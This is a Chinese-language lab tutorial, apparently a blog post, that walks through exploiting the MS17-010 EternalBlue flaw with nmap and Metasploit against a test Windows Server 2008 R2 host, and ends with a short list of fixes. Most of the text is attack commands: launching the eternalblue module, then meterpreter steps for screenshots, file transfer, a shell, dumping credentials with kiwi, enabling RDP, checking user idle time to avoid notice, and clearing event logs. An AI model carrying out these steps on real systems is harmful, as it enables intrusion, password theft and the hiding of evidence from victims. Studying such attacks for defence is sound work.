MS17-010永恒之藍(lán)漏洞利用+修復(fù)方法
前言
提到操作系統(tǒng)漏洞，大家肯定聽說過耳熟能詳?shù)挠篮阒{(lán)（MS17-010）了，他的爆發(fā)源于WannaCry勒索病毒的誕生。
該病毒是不法分子利用NSA（National Security Agency，美國(guó)國(guó)家安全局）泄露的危險(xiǎn)漏洞“EternalBlue”（永恒之藍(lán)）進(jìn)行傳播 。勒索病毒肆虐，儼然是一場(chǎng)全球性互聯(lián)網(wǎng)災(zāi)難，給廣大電腦用戶造成了巨大損失。最新統(tǒng)計(jì)數(shù)據(jù)顯示，100多個(gè)國(guó)家和地區(qū)超過10萬臺(tái)電腦遭到了勒索病毒攻擊、感染。 勒索病毒是自熊貓燒香以來影響力最大的病毒之一。
本文將利用Metasploit工具來對(duì)此漏洞進(jìn)行一次漏洞利用示范以及提出修復(fù)建議。
0x01 準(zhǔn)備工作
靶機(jī)：Windows server ? ? ?2008R2(IP:192.168.2.128)
攻擊機(jī)：Kali ? ? ?2020(IP:192.168.178.131)
工具：namap（這里主要用于漏洞掃描，也可以使用nussus等其他工具）、metasploit(msf)
0x02 漏洞利用
用nmap的漏洞掃描模式
nmap --script=vuln 192.168.2.128
可以發(fā)現(xiàn)，靶機(jī)上掃到了4個(gè)漏洞，其中包括了MS17-010。
打開metasploit（msf很有意思的是,每次打開都會(huì)顯示不同的畫面。）
msfconsole
搜索ms17-010相關(guān)模塊，可以看到一共找到了6個(gè)不同的模塊。（選項(xiàng)：0-5）
search ms17-010
加載掃描模塊。（選項(xiàng)1）
use auxiliary/scanner/smb/smb_ms17_010
查看配置選項(xiàng)
show options
RHOSTS顯示遠(yuǎn)程主機(jī)未配置，配置目標(biāo)主機(jī)。
set rhosts 192.168.2.128
開始掃描漏洞，再次證實(shí)靶機(jī)存在MS17-010漏洞。
exploit
使用永恒之藍(lán)攻擊模塊：exploit/windows/smb/ms17_010_eternalblue并設(shè)置攻擊載荷：
set payload
查看選項(xiàng)并設(shè)置rhosts:
set rhosts 192.168.2.128
輸入exploit開始攻擊。
運(yùn)行成功會(huì)出現(xiàn)meterpreter >
Meterpreter 是 Metasploit 的一個(gè)擴(kuò)展模塊，可以調(diào)用 Metasploit 的一些功能，
對(duì)目標(biāo)系統(tǒng)進(jìn)行更深入的滲透，如獲取屏幕、上傳/下載文件、創(chuàng)建持久后門等。
演示幾個(gè)功能
捕獲屏幕
?meterpreter > screenshot
上傳/下載文件
meterpreter > upload hello.txt c://
meterpreter > download d://1.txt
遠(yuǎn)程桌面
meterpreter > run vnc
啟動(dòng)失敗了- -好像是靶機(jī)沒有啟動(dòng)vnc服務(wù)。
獲取cmd,出現(xiàn)了編碼問題。
meterpreter > shell
獲取用戶密碼
meterpreter > load kiwi
Loading extension kiwi...Success.
Kiwi在32位系統(tǒng)中能夠正常使用，到了64位系統(tǒng)中需要用到進(jìn)程遷移
進(jìn)程遷移請(qǐng)參考：http://hackdig.com/09/hack-144260.htm
完成進(jìn)程遷移后:
meterpreter > creds_all
啟用遠(yuǎn)程桌面，配合上一步獲取到的密碼。
meterpreter > run post/windows/manage/enable_rdp
使用時(shí)一般配合查看遠(yuǎn)程用戶的空閑時(shí)長(zhǎng)，空閑時(shí)間長(zhǎng)再進(jìn)行遠(yuǎn)程登陸，減小被發(fā)現(xiàn)的風(fēng)險(xiǎn)。登錄rdp會(huì)把對(duì)方頂?shù)簟?/p>
meterpreter > idletime
使用 rdesktop 命令遠(yuǎn)程連接桌面
root@kali:~# rdesktop 192.168.2.6
·??????? 1
用上一步獲取的賬戶密碼進(jìn)行登錄，登錄成功。
清除日志
meterpreter > clearev
·??????? 1
清除日志前，靶機(jī)的事件查看器是這樣的。（記錄了大量的事件）
被清空了~
還有很多功能選項(xiàng)，可以自己去查一下，就不全部羅列出來了。
0x03 修復(fù)方案
受影響的系統(tǒng)版本可以參照：https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
關(guān)閉445端口。
打開防火墻，安裝安全軟件。
安裝對(duì)應(yīng)補(bǔ)丁。
總結(jié)
為了維持操作系統(tǒng)的安全，我們能做到的是及時(shí)更新，安裝補(bǔ)丁，關(guān)閉不必要的服務(wù)和端口。
